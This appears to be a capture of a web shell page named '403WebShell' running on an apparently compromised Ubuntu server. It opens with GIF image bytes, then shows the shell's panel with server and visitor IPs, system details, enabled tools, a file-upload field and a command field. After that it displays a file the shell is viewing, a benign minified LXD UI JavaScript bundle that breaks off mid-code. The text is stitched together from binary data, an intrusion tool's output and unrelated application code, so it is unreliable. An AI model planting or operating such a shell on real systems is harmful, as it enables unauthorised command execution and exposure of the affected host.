GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 143.110.188.43  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.57 (Ubuntu)
System : Linux Client-Droplet 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/lxd/current/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/current/share/lxd-ui/assets/StorageVolumeDetail-Cy55sSKW.js
import{d as i,K as F,s as M,c as z,j as e,F as Y,t as S,R as _,r as C,x as pe,D as P,q,b as oe,h as R,aY as ue,W as se,ac as he,e as H,f as T,a8 as ge,aI as xe,ap as je,w as fe,aJ as be,L as Se,ar as E,a2 as ye,J as Q,a3 as G,aC as Ce,aD as Ne,B as D,O as Ve,H as ke,aQ as Fe,o as we}from"./index-C5moRkRM.js";import{R as _e}from"./RenameHeader-B0XWLDzt.js";import{g as I,t as Pe,m as Te,l as Me,r as Re,f as J}from"./storageVolume-D_kSLHXQ.js";import{R as K}from"./ResourceLink-CSSa-WON.js";import{h as ae,i as ne,g as Be,m as De,j as Le,r as Ee,k as ie}from"./storage-volumes-tZVWU3jH.js";import{u as w,D as ve}from"./DeleteStorageVolumeBtn-DvSZifUZ.js";import{F as O,B as W}from"./BackLink-CIO3yW-G.js";import{V as N}from"./VolumeLinkChip-DLwRi_z9.js";import{P as re}from"./ProjectRichChip-CJO1yxV_.js";import{S as $e,C as Ie,P as ze}from"./ProjectSelectTable-CTjhk0cR.js";import{k as le,h as qe,Z as X}from"./useStoragePools-Crzn42fh.js";import{c as Ue,g as Oe,i as Qe}from"./snapshots-DbU7kFr9.js";import{S as Ke}from"./StoragePoolSelector-B2DFQOGf.js";import{a as Ae,c as He}from"./useVolumes-B6TAUFFs.js";import{C as Ye}from"./ClusterMemberSelector-BPvr-eqW.js";import{u as Ge}from"./projects-BYXh-TO0.js";import{R as v}from"./ResourceLabel-5vQU6ndJ.js";import{S as Je}from"./StorageUsedBy-BNaOhlOW.js";import{S as We,u as Xe,g as Ze,a as A,r as et,b as tt,d as ot,c as st,V as Z,f as at}from"./VolumeAddSnapshotBtn-DnANxA2g.js";import{C as nt}from"./ClusterMemberRichChip-D4zJ_pdp.js";import{S as it}from"./StoragePoolRichChip-DkAfThM9.js";import{v as ce,d as rt,M as ee,e as lt}from"./StorageVolumeForm-CGooyDb1.js";import{F as ct}from"./FormFooterLayout-CeiFxYRr.js";import{F as dt}from"./FormSubmitBtn-B_GaKHDH.js";import{T as mt}from"./TabLinks-Bgi9Prma.js";import{S as pt}from"./SnapshotForm-CmTRXZb9.js";import{I as ut}from"./ItemName-Dt16GXN3.js";import{S as ht}from"./SelectableMainTable-wRMsxkIr.js";import{S as gt}from"./SelectedTableNotification-DR6-T9f2.js";import{g as xt}from"./promises-DrIa_NWl.js";import{B as jt}from"./BulkDeleteButton--AqObKRB.js";import{u as ft}from"./useBulkDetails-lYUt51kB.js";import{u as bt}from"./useSortTableData-DOqSqaiW.js";import"./Breadcrumb-CpbG2SRs.js";import"./index-BCn5QfZZ.js";import"./RichTooltipTable-D64CU4ks.js";import"./devices-DziiOcJy.js";import"./useClusterMembers-DYP3yC8I.js";import"./cluster-members-B9SkLa7e.js";import"./StoragePoolSize-BVlyAxMa.js";import"./Meter-BW_a3lG4.js";import"./StoragePoolClusterMember-BbGd9fcp.js";import"./images-CQST2R8G.js";import"./ClusterMemberExplanationTooltip-DgqwBVWT.js";import"./ExplanationTooltip-AfbgOckm.js";import"./UsedByRow-CGbB_Zua.js";import"./UsedByItem-BEoDNz3K.js";import"./useImages-B2pew3-d.js";import"./imageRegistry-DUJSvWII.js";import"./image-registries-CGiwo-wc.js";import"./InstanceRichChip-maOU00Yu.js";import"./InstanceStatus-BeAPw0ld.js";import"./useInstances-B6o12EBG.js";import"./ConfirmationCheckbox-DamTlu4y.js";import"./TruncatedList-BLaVrNb3.js";import"./ProfileRichChip-DiaW3-Ut.js";import"./ProfileResourceLimits-l412cqLM.js";import"./usedBy-DXaW3nP7.js";import"./resourceDetails-XsDjMA3V.js";import"./storageBucket-Dt08U0oy.js";import"./ExpandableList-Z2D161-q.js";import"./ClusterMemberStatus-CyZ_jfn4.js";import"./ClusterMemberMemoryUsage-CgQORnHF.js";import"./FormMenuItem-C57SBRlg.js";import"./ConfigurationTable-CbP4ksvx.js";import"./ConfigFieldDescription-qFQi1Efr.js";import"./useConfigOptions-BxC1oiVQ.js";import"./DiskSizeSelector-T95OK-_Q.js";import"./options-DGWNjuoa.js";import"./ScrollableForm-B4FKGNcE.js";import"./StoragePoolExplanationTooltip-CY366rOX.js";import"./ScrollableConfigurationTable-Co066DBV.js";import"./instanceAndProfilePayloads-OWzzIEo8.js";import"./userKeys-DCvuKatN.js";import"./formChangeCount-DmPjPAAr.js";const St=({volume:t,close:o,type:a,target:n})=>{const l=i.useToastNotification(),c=F(),d=M(),m=z(),x=()=>{let s="";const r=I(t),g=I({...t,project:a==="project"?n:t.project,pool:a==="pool"?n:t.pool,location:a==="cluster member"?n:t.location}),b=e.jsx(K,{type:"pool",value:n,to:`${_}/ui/project/${encodeURIComponent(t.project)}/storage/pool/${encodeURIComponent(n)}`});a==="cluster member"&&(s=e.jsxs(e.Fragment,{children:["Volume ",e.jsx(N,{volume:{...t,location:n}})," ","successfully migrated to cluster member"," ",e.jsx(K,{type:"cluster-member",value:n,to:`${_}/ui/cluster/member/${encodeURIComponent(n)}`})]}),r!==g&&m(g)),a==="pool"&&(s=e.jsxs(e.Fragment,{children:["Volume ",e.jsx(N,{volume:{...t,pool:n}}),"successfully migrated to pool ",b]}),r!==g&&m(g)),a==="project"&&(s=e.jsxs(e.Fragment,{children:["Volume ",e.jsx(N,{volume:{...t,project:n}}),"successfully moved to project ",e.jsx(re,{projectName:n})]}),r!==g&&m(g)),l.success(s)},f=s=>{let r="";a==="cluster member"&&(r=`Cluster member migration failed for volume ${t.name}`),a==="pool"&&(r=`Migration failed for volume ${t.name} to pool ${n}`),a==="project"&&(r=`Project move failed for volume ${t.name}`),l.failure(r,s,e.jsx(N,{volume:t}))},p=s=>{f(new Error(s))},u=()=>{d.invalidateQueries({queryKey:[S.volumes,t.name,t.project]}),d.invalidateQueries({queryKey:[S.volumes,t.project]}),d.invalidateQueries({queryKey:[S.operations,t.project]})};return{handleMigrate:()=>{const s=a==="pool"?n:void 0,r=a==="project"?n:void 0;De(t,t.project,s,t.location,r).then(g=>{c.set(g.metadata.id,()=>{x()},b=>{p(b)},u),l.info(e.jsxs(e.Fragment,{children:[Y(a)," migration started for"," ",e.jsx(N,{volume:t}),"."]})),d.invalidateQueries({queryKey:[S.volumes,t.name,t.project]})}).catch(g=>{f(g)}).finally(()=>{o()})},handleMemberMigrate:()=>{const s=a==="cluster member"?n:void 0,r=t.location,g=ae(t,t.name,t.project);ne(g,t.pool,t.project,s).then(b=>{l.info(e.jsxs(e.Fragment,{children:[Y(a)," migration started for"," ",e.jsx(N,{volume:t}),"."]})),c.set(b.metadata.id,()=>{d.invalidateQueries({queryKey:[S.volumes,t.name,t.project]}),Be(t.name,t.pool,t.project,r).then(V=>{c.set(V.metadata.id,()=>{x()},k=>{p(k)},u),d.invalidateQueries({queryKey:[S.isoVolumes]}),d.invalidateQueries({queryKey:[S.projects,t.project]}),d.invalidateQueries({queryKey:[S.storage,t.pool,S.volumes,t.project,t.location]}),d.invalidateQueries({predicate:k=>k.queryKey[0]===S.volumes})})},V=>{p(V)},u)}).catch(b=>{f(b)}).finally(()=>{o()})}}},yt=({volume:t,onSelect:o,onCancel:a,migrate:n})=>{const[l,c]=C.useState(""),d=e.jsx("div",{className:"migrate-instance-summary",children:e.jsxs("p",{children:["This will migrate volume ",e.jsx("strong",{children:t.name})," to storage pool"," ",e.jsx("b",{children:l}),"."]})});return e.jsxs(e.Fragment,{children:[l?d:e.jsx($e,{onSelect:m=>{c(m),o(m)},disablePool:{name:t.pool,reason:"Volume is already in this pool"}}),e.jsxs("footer",{id:"migrate-volume-actions",className:"p-modal__footer",children:[e.jsx(i.Button,{className:"u-no-margin--bottom",type:"button","aria-label":"cancel migrate",appearance:"base",onClick:()=>{a(),c("")},children:"Cancel"}),e.jsx(i.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",onClick:()=>{n(l)},disabled:!l,children:"Migrate"})]})]})},Ct=({volume:t,onSelect:o,targetMember:a,onCancel:n,migrate:l})=>{const c=e.jsx("div",{className:"migrate-instance-summary",children:e.jsxs("p",{children:["This will migrate volume ",e.jsx("strong",{children:t.name})," to cluster member ",e.jsx("b",{children:a}),"."]})});return e.jsxs(e.Fragment,{children:[a&&c,!a&&e.jsx(Ie,{onSelect:o,disableMember:{name:t.location,reason:"Volume already on this member"}}),e.jsxs("footer",{id:"migrate-volume-actions",className:"p-modal__footer",children:[e.jsx(i.Button,{className:"u-no-margin--bottom",type:"button","aria-label":"cancel migrate",appearance:"base",onClick:n,children:"Cancel"}),e.jsx(i.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",onClick:()=>{l(a)},disabled:!a,children:"Migrate"})]})]})},Nt=({volume:t,onSelect:o,targetProject:a,onCancel:n,migrate:l})=>{const c=e.jsx("div",{className:"migrate-instance-summary",children:e.jsxs("p",{children:["This will migrate the volume ",e.jsx("strong",{children:t.name})," to the project ",e.jsx("b",{children:a}),"."]})});return e.jsxs(e.Fragment,{children:[a&&c,!a&&e.jsx(ze,{onSelect:o,disableProject:{name:t.project,reason:"Volume already in this project"}}),e.jsxs("footer",{id:"migrate-volume-actions",className:"p-modal__footer",children:[e.jsx(i.Button,{className:"u-no-margin--bottom",type:"button","aria-label":"cancel migrate",appearance:"base",onClick:n,children:"Cancel"}),e.jsx(i.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",onClick:()=>{l(a)},disabled:!a,children:"Migrate"})]})]})},Vt=({close:t,volume:o})=>{const[a,n]=C.useState(""),[l,c]=C.useState(""),d=pe(),{data:m}=le(o.pool),{handleMigrate:x,handleMemberMigrate:f}=St({close:t,volume:o,type:a,target:l}),p=()=>{if(l){c("");return}if(a){n("");return}},u=()=>a?l?e.jsx(W,{title:"Confirm migration",linkText:`Choose ${a}`,onClick:p}):e.jsx(W,{title:e.jsxs(e.Fragment,{children:["Choose ",a," for volume ",e.jsx("strong",{children:o.name})]}),linkText:"Choose migration method",onClick:p}):"Choose migration method";return e.jsxs(i.Modal,{close:t,className:"migrate-instance-modal",children:[e.jsxs("header",{className:"p-modal__header",children:[e.jsx("h2",{className:"p-modal__title",id:"migrate-title",children:u()},a?l?"confirm":"select":"start"),e.jsx("button",{className:"p-modal__close","aria-label":"Close active modal",onClick:t,children:"Close"})]}),!a&&e.jsxs("div",{className:"choose-migration-type",children:[d&&qe(m?.driver||"")&&e.jsx(O,{icon:"cluster-host",title:"Migrate volume to a different cluster member",onClick:()=>{n("cluster member")}}),e.jsx(O,{icon:"storage-pool",title:"Move volume to a different storage pool",onClick:()=>{n("pool")}}),e.jsx(O,{icon:"folder",title:"Move volume to a different project",onClick:()=>{n("project")}})]}),a==="cluster member"&&e.jsx(Ct,{volume:o,onSelect:c,targetMember:l,onCancel:p,migrate:f}),a==="pool"&&e.jsx(yt,{volume:o,onSelect:c,onCancel:p,migrate:x}),a==="project"&&e.jsx(Nt,{volume:o,onSelect:c,targetProject:l,onCancel:p,migrate:x})]})},kt=({volume:t,classname:o,onClose:a})=>{const{openPortal:n,closePortal:l,isOpen:c,Portal:d}=i.usePortal(),{canEditVolume:m}=w(),x=t.used_by?.length===0,f=()=>{l(),a?.()},p=()=>m(t)?x?"Migrate volume":"Volume is in use":"You do not have permission to migrate this volume";return e.jsxs(e.Fragment,{children:[c&&e.jsx(d,{children:e.jsx(Vt,{close:f,volume:t})}),e.jsxs(i.ActionButton,{onClick:n,type:"button",className:q("u-no-margin--bottom has-icon",o),disabled:!m(t)||!x,title:p(),children:[e.jsx(P,{icon:"machines"}),e.jsx("span",{children:"Migrate"})]})]})},Ft=({volume:t,close:o})=>{const a=F(),n=i.useToastNotification(),l=e.jsx(N,{volume:t}),{data:c}=oe(),d=c?.environment?.backup_metadata_version_range??[],m=u=>{const h=new URLSearchParams;h.set("project",t.project),ue(h,t.location);const j=`${_}/1.0/storage-pools/${encodeURIComponent(t.pool)}/volumes/${encodeURIComponent(t.type)}/${encodeURIComponent(t.name)}/backups/${encodeURIComponent(u)}/export?${h.toString()}`,s=document.createElement("a");s.href=j,s.download=u,s.click(),window.URL.revokeObjectURL(j),n.success(e.jsxs(e.Fragment,{children:["Volume ",l," download started:",e.jsx("br",{}),e.jsx("a",{href:j,children:u})]}))},x=u=>{const h=new Date;return h.setHours(h.getHours()+u),h},f=u=>{const h=new Date().toISOString().replaceAll(":","-").split(".")[0],j=`${t.name}-${h}.tar${u.compression==="gzip"?".gz":""}`,s=JSON.stringify({name:j,expires_at:x(u.expirationHours).toISOString(),compression_algorithm:u.compression,volume_only:u.volumeOnly,optimized_storage:u.optimizedStorage,version:Number(u.exportVersion)});Le(t,s).then(r=>{n.info(e.jsxs(e.Fragment,{children:["Backing up volume ",l,".",e.jsx("br",{}),"Download will start, when the export is ready."]})),a.set(r.metadata.id,()=>{m(j)},g=>n.failure(`Could not download volume ${t.name}`,new Error(g),l))}).catch(r=>n.failure(`Could not download volume ${t.name}`,r,l)).finally(()=>{o()})},p=R({initialValues:{compression:"gzip",exportVersion:"2",expirationHours:6,volumeOnly:!1,optimizedStorage:!0},onSubmit:u=>{f(u)}});return e.jsx(i.Modal,{close:o,className:"export-volume-modal",title:"Export Volume",buttonRow:e.jsxs(e.Fragment,{children:[e.jsx(i.Button,{appearance:"base",className:"u-no-margin--bottom",type:"button",onClick:o,children:"Cancel"}),e.jsx(i.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",loading:p.isSubmitting,disabled:p.isSubmitting,onClick:()=>{p.submitForm()},children:"Export volume"})]}),children:e.jsxs(i.Form,{onSubmit:p.handleSubmit,children:[e.jsx(i.Select,{...p.getFieldProps("compression"),id:"project",label:"Compression",help:"No compression will be faster, but larger",options:[{value:"gzip",label:"Gzip"},{value:"none",label:"None"}]}),e.jsx(i.Select,{...p.getFieldProps("exportVersion"),id:"exportVersion",label:"Export version",help:"Lower versions allow imports on older LXD versions",options:d.map(u=>({value:u.toString(),label:u.toString()}))}),e.jsx(i.CheckboxInput,{...p.getFieldProps("optimizedStorage"),label:"Use storage driver optimized format",help:"Can only be restored on a similar pool",checked:p.values.optimizedStorage}),e.jsx(i.CheckboxInput,{...p.getFieldProps("volumeOnly"),label:"Export without volume snapshots",error:p.touched.volumeOnly?p.errors.volumeOnly:null,checked:p.values.volumeOnly}),e.jsx(i.Input,{type:"submit",hidden:!0,value:"Hidden input"})]})})},wt=({volume:t,classname:o,onClose:a})=>{const{openPortal:n,closePortal:l,isOpen:c,Portal:d}=i.usePortal(),{canManageVolumeBackups:m}=w(),{project:x}=se(),f=Ue(x),p=()=>{l(),a?.()},u=()=>m(t)?f?`Project "${x?.name}" doesn't allow for backup creation.`:"Export volume":"You do not have permission to export this volume.";return e.jsxs(e.Fragment,{children:[c&&e.jsx(d,{children:e.jsx(Ft,{close:p,volume:t})}),e.jsxs(i.Button,{appearance:"default",className:q("u-no-margin--bottom has-icon",o),onClick:n,title:u(),disabled:!m(t)||f,children:[e.jsx(P,{icon:"export"}),e.jsx("span",{children:"Export"})]})]})},_t=({volume:t,close:o})=>{const a=i.useToastNotification(),n=C.useState(null),l=F(),{data:c=[],isLoading:d}=he(),{data:m}=le(t.pool),{data:x=[],isLoading:f}=Ae(t.project),p=r=>{const g={...t,name:r.name,project:r.project,pool:r.pool,location:r.location};a.success(e.jsxs(e.Fragment,{children:["Created volume ",e.jsx(N,{volume:g}),"."]}))},u=r=>{a.failure("Volume copy failed.",r,e.jsx(N,{volume:t}))},h=r=>{const g=r.name+"-copy";return xe(g,x)},j=H().shape({name:T().required("Volume name is required"),project:T().required(),pool:T().required(),location:T().optional()}).test("deduplicate","",async function(r){const{name:g,project:b,pool:V,location:k}=r;return await ge(g,b||"default",n,`storage-pools/${encodeURIComponent(V)}/volumes/custom`,k)?!0:this.createError({path:"name",message:"A volume with this name already exist in the target project and storage pool"})}),s=R({initialValues:{name:h(t),project:t.project,copySnapshots:!0,pool:t.pool,location:X(m?.driver??"")?"":t.location},enableReinitialize:!0,validationSchema:j,onSubmit:r=>{const g=ae(t,r.name,r.project,!r.copySnapshots);ne(g,r.pool,r.project,r.location).then(b=>{a.info(e.jsxs(e.Fragment,{children:["Copy of volume ",e.jsx(N,{volume:t})," started."]})),l.set(b.metadata.id,()=>{p(r)},V=>{u(new Error(V))})}).catch(b=>{a.failure("Volume copy failed.",b)}).finally(()=>{o()})}});return e.jsx(i.Modal,{close:o,className:"copy-volumes-modal",title:"Copy volume",buttonRow:e.jsxs(e.Fragment,{children:[e.jsx(i.Button,{appearance:"base",className:"u-no-margin--bottom",type:"button",onClick:o,children:"Cancel"}),e.jsx(i.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",loading:s.isSubmitting,disabled:!s.isValid||s.isSubmitting||d||f,onClick:()=>{s.submitForm()},children:"Copy"})]}),children:e.jsxs(i.Form,{onSubmit:s.handleSubmit,children:[e.jsx(i.Input,{...s.getFieldProps("name"),type:"text",label:"New volume name",error:s.touched.name?s.errors.name:null}),e.jsx(Ke,{value:s.values.pool,setValue:r=>{s.setFieldValue("pool",r)},selectProps:{id:"pool",label:"Storage pool"}}),!X(m?.driver??"")&&e.jsx(Ye,{...s.getFieldProps("location")}),e.jsx(i.Select,{...s.getFieldProps("project"),id:"project",label:"Target project",options:c.map(r=>({label:r.name,value:r.name}))}),e.jsx(i.CheckboxInput,{...s.getFieldProps("copySnapshots"),label:"Copy with snapshots",checked:s.values.copySnapshots,error:s.touched.copySnapshots?s.errors.copySnapshots:null}),e.jsx(i.Input,{type:"submit",hidden:!0,value:"Hidden input"})]})})},Pt=({volume:t,classname:o,onClose:a})=>{const{openPortal:n,closePortal:l,isOpen:c,Portal:d}=i.usePortal(),{canCreateStorageVolumes:m}=Ge(),{data:x}=je(t.project),f=()=>{l(),a?.()};return e.jsxs(e.Fragment,{children:[c&&e.jsx(d,{children:e.jsx(_t,{close:f,volume:t})}),e.jsxs(i.Button,{appearance:"default","aria-label":"Copy volume",className:q("u-no-margin--bottom has-icon",o),onClick:n,title:m(x)?"Copy volume":"You do not have permission to copy this volume",disabled:!m(x),children:[e.jsx(P,{icon:"canvas"}),e.jsx("span",{children:"Copy"})]})]})},Tt=({volume:t,project:o})=>{const 